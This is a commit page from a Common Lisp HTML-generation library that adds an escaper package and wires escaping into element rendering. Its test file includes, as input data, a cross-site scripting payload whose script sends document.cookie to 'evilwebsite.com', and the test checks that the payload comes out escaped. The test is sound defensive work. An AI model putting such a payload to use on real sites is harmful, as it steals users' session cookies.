paku/hsx
1
0
Fork 0
Code Issues Pull requests Projects Releases 1 Packages Wiki Activity Actions

Add escaper package

Browse source
This commit is contained in:
paku 2024-05-31 18:39:25 +09:00
parent f9bf53042f
commit 19c5e5a2c1
5 changed files with 71 additions and 5 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

3
hsx-test.asd
View file

@ -5,5 +5,6 @@
"hsx-test/element" "hsx-test/element"
"hsx-test/defhsx" "hsx-test/defhsx"
"hsx-test/hsx" "hsx-test/hsx"
"hsx-test/renderer") "hsx-test/renderer"
"hsx-test/escaper")
:perform (test-op (op c) (symbol-call :fiveam :run-all-tests))) :perform (test-op (op c) (symbol-call :fiveam :run-all-tests)))

11
src/element.lisp
View file

@ -1,5 +1,8 @@
(defpackage #:hsx/element (defpackage #:hsx/element
(:use #:cl) (:use #:cl)
(:import-from #:hsx/escaper
#:escape-html-attribute
#:escape-html-text-content)
(:export #:element (:export #:element
#:tag #:tag
#:html-tag #:html-tag
@ -74,7 +77,11 @@
"~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>") "~@<<~a~a>~2I~:@_~<~@{~a~^~:@_~}~:>~0I~:@_</~a>~:>")
type-str type-str
(props->string props) (props->string props)
children (mapcar (lambda (child)
(if (stringp child)
(escape-html-text-content child)
child))
children)
type-str) type-str)
(format stream (format stream
"<~a~a></~a>" "<~a~a></~a>"
@ -94,7 +101,7 @@
(format stream (format stream
" ~a=\"~a\"" " ~a=\"~a\""
key-str key-str
value)))))) (escape-html-attribute value)))))))
(defmethod print-object ((element html-tag) stream) (defmethod print-object ((element html-tag) stream)
(format stream "<!DOCTYPE html>~%") (format stream "<!DOCTYPE html>~%")

40
src/escaper.lisp Normal file
View file

@ -0,0 +1,40 @@
(defpackage #:hsx/escaper
(:use #:cl)
(:import-from #:alexandria
#:alist-hash-table)
(:export #:escape-html-attribute
#:escape-html-text-content))
(in-package #:hsx/escaper)
(defparameter *text-content-escape-map*
(alist-hash-table
'((#\& . "&amp;")
(#\< . "&lt;")
(#\> . "&gt;")
(#\" . "&quot;")
(#\' . "&#x27;")
(#\/ . "&#x2F;")
(#\` . "&grave;")
(#\= . "&#x3D;"))))
(defparameter *attribute-escape-map*
(alist-hash-table
'((#\" . "&quot;"))))
(defun escape-char (char escape-map)
(or (gethash char escape-map)
char))
(defun escape-string (string escape-map)
(if (stringp string)
(with-output-to-string (s)
(loop
:for c :across string
:do (write (escape-char c escape-map) :stream s :escape nil)))
string))
(defun escape-html-text-content (text)
(escape-string text *text-content-escape-map*))
(defun escape-html-attribute (text)
(escape-string text *attribute-escape-map*))

20
tests/escaper.lisp Normal file
View file

@ -0,0 +1,20 @@
(defpackage #:hsx-test/escaper
(:use #:cl
#:fiveam
#:hsx/escaper))
(in-package #:hsx-test/escaper)
(def-suite escaper-test)
(in-suite escaper-test)
(test escape-html-attribute
(is (equal "&quot;foo&quot;"
(escape-html-attribute "\"foo\""))))
(test escape-html-text-content
(is (string= "&amp;&lt;&gt;&quot;&#x27;&#x2F;&grave;&#x3D;"
(escape-html-text-content "&<>\"'/`=")))
(is (string=
"&lt;script&gt;fetch(&#x27;evilwebsite.com&#x27;, { method: &#x27;POST&#x27;, body: document.cookie })&lt;&#x2F;script&gt;"
(escape-html-text-content
"<script>fetch('evilwebsite.com', { method: 'POST', body: document.cookie })</script>" ))))

2
tests/renderer.lisp
View file

@ -65,5 +65,3 @@
(li "foo") (li "foo")
frg frg
(li "brah"))))))) (li "brah")))))))
;; TODO: Add escaping test